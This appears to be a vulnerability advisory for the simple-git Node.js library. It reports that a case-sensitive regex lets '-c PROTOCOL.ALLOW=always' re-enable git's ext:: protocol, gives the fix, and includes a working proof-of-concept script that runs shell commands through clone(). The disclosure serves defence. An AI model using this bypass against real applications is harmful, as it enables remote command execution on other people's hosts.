simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE

Summary

The blockUnsafeOperationsPlugin in simple-git fails to block git protocol override arguments when the config key is passed in uppercase or mixed case. An attacker who controls arguments passed to git operations can enable the ext:: protocol by passing -c PROTOCOL.ALLOW=always, which executes an arbitrary OS command on the host machine.

---

Details

The preventProtocolOverride function in simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts (line 24) checks whether a -c argument configures protocol.allow using this regex:

if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {
   return;
}

This regex is case-sensitive. Git treats config key names case-insensitively — it normalises them to lowercase internally. As a result, passing PROTOCOL.ALLOW=always, Protocol.Allow=always, or any mixed-case variant is not matched by the regex, the check returns without throwing, and git is spawned with the unsafe argument.

Verification that git normalises the key:

$ git -c PROTOCOL.ALLOW=always config --list | grep protocol
protocol.allow=always

The fix is a single character — add the /i flag:

// Before (vulnerable):
if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {

// After (fixed):
if (!/^\s*protocol(.[a-z]+)?.allow/i.test(next)) {

---

poc.js

/**
 * Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass
 *
 * CVE-2022-25912 was fixed in [email protected] by adding a regex check
 * that blocks `-c protocol.*.allow=always` from being passed to git commands.
 * The regex is case-sensitive. Git treats config key names case-insensitively.
 * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.
 *
 * Affected : simple-git >= 3.15.0 (all versions with the fix applied)
 * Tested on: [email protected], Node.js v23.11.0, git 2.39.5
 * Reporter : CodeAnt AI Security Research ([email protected])
 */

const simpleGit = require('simple-git');
const fs = require('fs');

const SENTINEL = '/tmp/pwn-codeant';

// Clean up from any previous run
try { fs.unlinkSync(SENTINEL); } catch (_) {}

const git = simpleGit();

// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────
// This is the exact PoC Snyk used to report CVE-2022-25912.
// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.
git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [
  '-c', 'protocol.ext.allow=always',   // lowercase — caught by regex
]).catch((e) => {
  console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
  console.error(e);
});

// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────
// The fix regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive.
// Git normalises config key names to lowercase internally.
// Uppercase variant passes the check; git enables ext:: and executes the command.
git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [
  '-c', 'PROTOCOL.ALLOW=always',       // uppercase — NOT caught by regex
]).catch((e) => {
  console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
  console.error(e);
});

// ── Real-world scenario ──────────────────────────────────────────────────────
// An application cloning a legitimate repository with user-controlled customArgs.
// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.
// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates
// but the injected argument enables ext:: and the real URL executes the command instead.
//
// Legitimate usage (what the app expects):
//   simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates',
//                     '/tmp/codeant-quality-gates', userArgs)
//
// Attacker-controlled scenario (what actually runs when args are not sanitised):
const LEGITIMATE_URL = 'https://github.com/CodeAnt-AI/codeant-quality-gates';
const CLONE_DEST     = '/tmp/codeant-quality-gates';
const SENTINEL_RW    = '/tmp/pwn-realworld';
try { fs.unlinkSync(SENTINEL_RW); } catch (_) {}

const userArgs   = ['-c', 'PROTOCOL.ALLOW=always'];
const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2';

simpleGit().clone(
  attackerURL,   // should have been LEGITIMATE_URL
  CLONE_DEST,
  userArgs
).catch(() => {
  console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:',
    fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created');
});